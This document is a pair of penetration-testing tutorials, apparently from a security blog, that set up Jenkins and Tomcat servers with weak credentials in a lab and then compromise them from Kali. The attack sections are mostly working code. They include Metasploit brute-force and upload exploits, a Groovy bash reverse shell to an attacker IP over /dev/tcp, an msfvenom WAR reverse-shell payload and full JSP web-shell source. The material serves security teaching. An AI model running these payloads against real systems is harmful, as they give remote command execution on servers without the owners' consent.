Jenkins Penetration Testing

Jenkins is an open-source automation server used for continuous integration (CI) and continuous delivery (CD). It's built on Java and utilizes a scripting platform for automation. Jenkins automates tasks such as building, testing, and deployment in the software development lifecycle. This automation accelerates development cycles, enhances code quality, and streamlines releases. Key features include CI/CD pipelines, automated testing, integration with version control systems, extensibility via plugins, and robust monitoring and reporting capabilities.

Table of Contents

·      Lab Setup

·      Installation

·      Configuration

·      Enumeration

·      Exploitation using Metasploit Framework

·      Exploiting Manually (Reverse Shell)

·      Executing Shell Commands Directly

·      Conclusion

Lab Setup

In this article, we are going to setup the Jenkins server on the ubuntu machine and obtain the remote code execution. Following are the machines:

Target Machine: Ubuntu (192.168.1.4)

Attacker Machine: Kali Linux (192.168.1.7)

Installation

For Jenkins to function, it necessitates the Java Runtime Environment (JRE). In this guide, we'll utilize OpenJDK to establish the Java environment. OpenJDK's development kit incorporates JRE within its framework.

apt install openjdk-11-jdk



At times, the default Ubuntu repository may lack the latest Jenkins version. Therefore, it is suggested opting for the project-maintained repository to access the most recent features and patches.

To integrate the Jenkins repository into the Ubuntu system, adhere to the following:

Begin by importing the GPG key to ensure package integrity.

sudo curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null

Following that, incorporate the Jenkins repository and append the authentication key to the source list using the command provided below:

sudo echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null





Now we can proceed with the Jenkins installation in the ubuntu machine.

apt install jenkins



After installation is complete, Jenkins can be started using the following command:

systemctl start Jenkins

Status can be checked using the following command:

systemctl status jenkins



Configuration

Post installation, Jenkins can be configured to run smoothly. By checking the service running on port 8080, the Jenkins server requires an Administrator password.



Password can be obtained by reading the content of the initialAdminPassword file.

cat /var/lib/Jenkins/secrets/initialAdminPassword



Select the Install suggested plugins to Customize Jenkins and proceed with the installation.



The final step requires the creation of First Admin User username and password. Here we are using the username as raj and password as 123.



Finally, entering the URL to access the Jenkins Server. The URL can be entered as http://127.0.0.1:8080/ as we want to setup the server on the ubuntu machine.



Enumeration

After successfully installing and configuring the Jenkins server, we can start the exploitation using the kali machine. Starting with the enumeration, since at port 8080 the Jenkins Server is running in the ubuntu machine hence checking the port 8080. At port 8080 there is a Jenkins login page which requires credentials.



Exploitation using Metasploit Framework:

Since the login page requires credentials, hence we can use the auxiliary available in the Metasploit framework to check for the valid username and password to login. The auxiliary which we will be using will require a username file and a password file.

It can be noted that for CTF scenarios the username file can be used as the common usernames list (https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt)  and password file can be used as rockyou.txt. However, here we are using a custom dictionary to make the scanning easier. The following commands can be used inside Metasploit framework:

use auxiliary/scanner/http/Jenkins_login

set rhosts 192.168.1.4

set rport 8080

set targeturi /

set user_file users.txt

set pass_file passwords.txt

set verbose false

exploit



Observe that the username and password have been enumerated successfully. After the username and password have been enumerated, now its time use them to exploit the target. The exploit which can be used here is the exploit/multi/http/Jenkins_script_console. Following commands can be used inside Metasploit framework to run the exploit:

use exploit/multi/http/Jenkins_script_console

show targets

set target 1

set payload linux/x64/meterpreter/reverse_tcp

set rhosts 192.168.1.4

set rport 8080

set targeturi /

set username raj

set password 123

exploit



Observe that the reverse shell has been obtained after the exploit has been successfully executed.

Exploiting Manually (Reverse Shell)

To exploit manually, we require the username and password of the Jenkins Console. Assuming here that the attacker has already found the credentials either by brute forcing or through any other method, successful login into the console can be performed.

After login using the previously found credentials (raj:123) from the auxiliary. The Manage Jenkins functionality can be accessed which contains a Script Console functionality.



In Jenkins, Groovy serves as the main scripting language for defining jobs and pipelines. Groovy, being dynamic and operating on the Java Virtual Machine (JVM), seamlessly integrates with Jenkins, which is predominantly Java-based.  Therefore, we are going to use the groovy reverse shell script to obtain the reverse shell. The command for the groovy reverse shell can be obtained from the following URL: https://www.revshells.com and selecting the Groovy script payload.

 



Now, using the above groovy reverse shell script in the Jenkins script console. Before running the script make sure to start the netcat listener at port 443 inside kali machine using the following command:

rlwrap nc -lnvp 443

Finally, the reverse shell is obtained at port 443 after running the above groovy script.

An alternate way to get the reverse shell can be by running the following script in the script console:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])

p.waitFor()

Make sure to start the listener at port 443 before running the script.





Observe that the reverse shell is obtained at port 443 after the execution of the script.



 

Executing Shell Commands Directly

There are cases where we don’t have a listener to take the reverse shell. In those cases, we can directly run the script and obtain the output of the code in the Result window.

The following code is used to get the output of the system commands:

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = 'ipconfig'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

Observe that after running the script the output can be seen directly in the Result window.



A similar code which can be used to get the command output in the Result window can be:

def proc = "id".execute();

def os = new StringBuffer();

proc.waitForProcessOutput(os, System.err);

println(os.toString());

Observe that after running the script the output can be seen directly in the Result window.



Conclusion

In summary, the possibility of using Jenkins servers to gain a reverse shell emphasizes the crucial need for strong security practices. Whether due to compromised logins or no authentication at all, the vulnerability of Jenkins servers shows why we must take security seriously. It's essential for organizations to enforce strict access rules, conduct regular security checks, and promptly update systems to reduce the chances of unauthorized access and misuse.

Tomcat Penetration Testing

 Apache Tomcat, developed by the Apache Software Foundation, is a widely used web server and servlet container. Originally, it served as a demonstration platform for Java Servlet and JavaServer Pages (JSP) technologies, which are used in Java web applications. As time passed, Tomcat expanded its capabilities to support additional Java web technologies.

A notable feature of Tomcat is its support for deploying web applications using WAR (Web Application Archive) files. These files bundle together all the components of a web application, including code, pages, and files, making deployment simpler. Tomcat allows users to upload and run these WAR files, enabling them to host their applications on the internet.

In addition to WAR files, Tomcat also supports the deployment of JSP pages. JSP is a technology that allows developers to create dynamic web pages using Java. Tomcat can execute these JSP pages, making it versatile for hosting a wide range of web applications.

By default, Tomcat supports the use of WAR files and JSP pages. However, administrators can configure settings to ensure security and control over file uploads, enhancing the overall safety of the server.

Table of Contents

·      Lab Setup

·      Installation

·      Configuration

·      Enumeration

·      Exploitation using Metasploit Framework

·      Exploiting Manually (Reverse shell)

·      Exploiting Manually (Web shell)

·      Conclusion

Lab Setup

In this article, we are going to setup the Tomcat server on the ubuntu machine and exploit the file upload vulnerability. Following are the machines:

Target Machine: Ubuntu (192.168.1.5)

Attacker Machine: Kali Linux (192.168.1.7)

Installation

Apache Tomcat relies on Java, meaning you'll need to have the Java JDK installed on your server. You can install it by running the command below:

apt install openjdk-11-jdk





Add a new user by the name tomcat using the following command:

useradd -m -U -d /opt/tomcat -s /bin/false tomcat

Download the Tomcat tar.gz file from the official website.



Download the latest version from the website into the ubuntu machine and extract the downloaded files.

wget https://dlcdn.apache.org/tomcat/tomcat-10/v10.1.20/bin/apache-tomcat-10.1.20.tar.gz

tar -xvf apache-tomcat-10.1.20.tar.gz



Move the extracted folder in the /opt/tomcat directory, give the ownership permissions to tomcat user and set the execution permission on binary files.

mv apache-tomcat-10.1.20/* /opt/tomcat

chown -R tomcat: /opt/tomcat

sh -c 'chmod +x /opt/tomcat/bin/*.sh '



Create a tomcat.service file in the /etc/system/system/ directory and add the following content in the file:

[Unit]

Description=Apache Tomcat

After=network.target

 

[Service]

Type=forking

 

User=tomcat

Group=tomcat

 

Environment=JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64

Environment=CATALINA_PID=/opt/tomcat/tomcat.pid

Environment=CATALINA_HOME=/opt/tomcat

Environment=CATALINA_BASE=/opt/tomcat

Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC"

 

ExecStart=/opt/tomcat/bin/startup.sh

ExecStop=/opt/tomcat/bin/shutdown.sh

 

ExecReload=/bin/kill $MAINPID

RemainAfterExit=yes

 

[Install]

WantedBy=multi-user.target



Reload the systemd daemon to apply the changes using the following command:

systemctl daemon-reload

 Also, enable the tomcat service to start at system reboot.

systemctl enable --now tomcat

Checking the status of the tomcat server:

systemctl status tomcat



Configuration

After the installation is complete, its time to configure the Tomcat server.

To create admin user password, make changes in the following file:

nano /opt/tomcat/conf/tomcat-users.xml

Add the following code above the </tomcat-users>:

<role rolename="admin-gui"/>

<role rolename="manager-gui"/>

<user username="admin" password="password" roles="admin-gui,manager-gui"/>



To enable remote access for Tomcat Manager, make the following changes in the context.xml file present in the manager and host-manager directory.

nano /opt/tomcat/webapps/manager/META-INF/context.xml

nano /opt/tomcat/webapps/host-manager/META-INF/context.xml

Remove the following line from both the above files as shown below:





Once done with the changes, restart the tomcat service in ubuntu.

systemctl restart tomcat



Observe that the Tomcat server is up and running on port 8080 in the ubuntu machine.

 

Enumeration

After the installation and configuration is complete, now starting the enumeration phase.

Using Kali linux as an attacker machine, initial enumeration can be performed using nmap.

nmap -p 8080 -sV 192.168.1.5





 

Exploitation using Metasploit Framework

First trying to exploit the functionality using Metasploit as an exploit is already available for the tomcat file upload vulnerability. The exploit used here is exploit/multi/http/tomcat_mgr_upload.

Inside Metasploit, type the below given commands to run the exploit:

use exploit/multi/http/tomcat_mgr_upload

set rhosts 192.168.1.5

set report 8080

set httpusername admin

set httppassword password

show targets

set target 2

set payload linux/x86/meterpreter_reverse_tcp

exploit



From above it can be seen that a reverse shell is obtained and the commands can be executed using the meterpreter shell.

Exploiting Manually (Reverse Shell)

The above exploitation process can also be performed manually. In order to do that we first need to create a .war file using msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.7 lport=1234 -f war > shell.war



After the shell.war file has been created, we need to upload that file inside tomcat manager app.

To access the Manager App, it will require a basic authentication. The username can be given as admin and password as password to access the manager app.



After login into the Manager App, upload the above created shell.war file in the War file to deploy functionality.



Once the file is uploaded it can be seen in the uploaded files section.



Before accessing the uploaded file, start a netcat listener on port 1234.

rlwrap nc -lvnp 1234

Click on the /shell to access the file to obtain a reverse shell.



The reverse shell is obtained at port 1234.



Exploiting Manually (Web Shell)

To get a web shell, a .war file can be used which will contain .jsp files such that after the .war file is uploaded to the server the webshell is obtained.

To create a .war containing the .jsp files java is required in the kali linux machine.

apt install openjdk-11-jdk



Now, create a webshell directory, within it we will place the index.jsp file.

mkdir webshell

cd webshell

nano index.jsp



Copy the following code in the index.jsp file for the web shell.

<FORM METHOD=GET ACTION='index.jsp'>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>

<%

   String cmd = request.getParameter("cmd");

   String output = "";

   if(cmd != null) {

      String s = null;

      try {

         Process p = Runtime.getRuntime().exec(cmd,null,null);

         BufferedReader sI = new BufferedReader(new

InputStreamReader(p.getInputStream()));

         while((s = sI.readLine()) != null) { output += s+"</br>"; }

      }  catch(IOException e) {   e.printStackTrace();   }

   }

%>

<pre><%=output %></pre>



After the index.jsp file is created, the package can now be created after converting the directory into a .war file.

jar -cvf ../webshell.war *



After the webshell.war file is created, uploading it in the deploy functionality.



The index.jsp page can be accessed within the uploaded webshell directory and a webshell is obtained.





An alternative way to do the above manual exploitation can by downloading the cmd.jsp file and creating a webshell.war file using zip.

The webshell jsp file can be downloaded from here:

https://github.com/tennc/webshell/tree/master/fuzzdb-webshell/jsp



After the cmd.jsp file is downloaded, a revshell.war file can be created using the following command:

zip -r revshell.war cmd.jsp



Again, repeating the same procedure as discussed earlier, after uploading the revshell.war file in the deploy functionality. The web shell is obtained after accessing the file at the path: http://192.168.1.5:8080/revshell/cmd.jsp



Conclusion

In essence, Apache Tomcat remains a preferred choice for deploying Java web applications, offering a blend of versatility and security that caters to the diverse needs of developers and administrators alike. However, due to misconfigurations it can be abused to perform certain unintended actions like Remote Code Execution.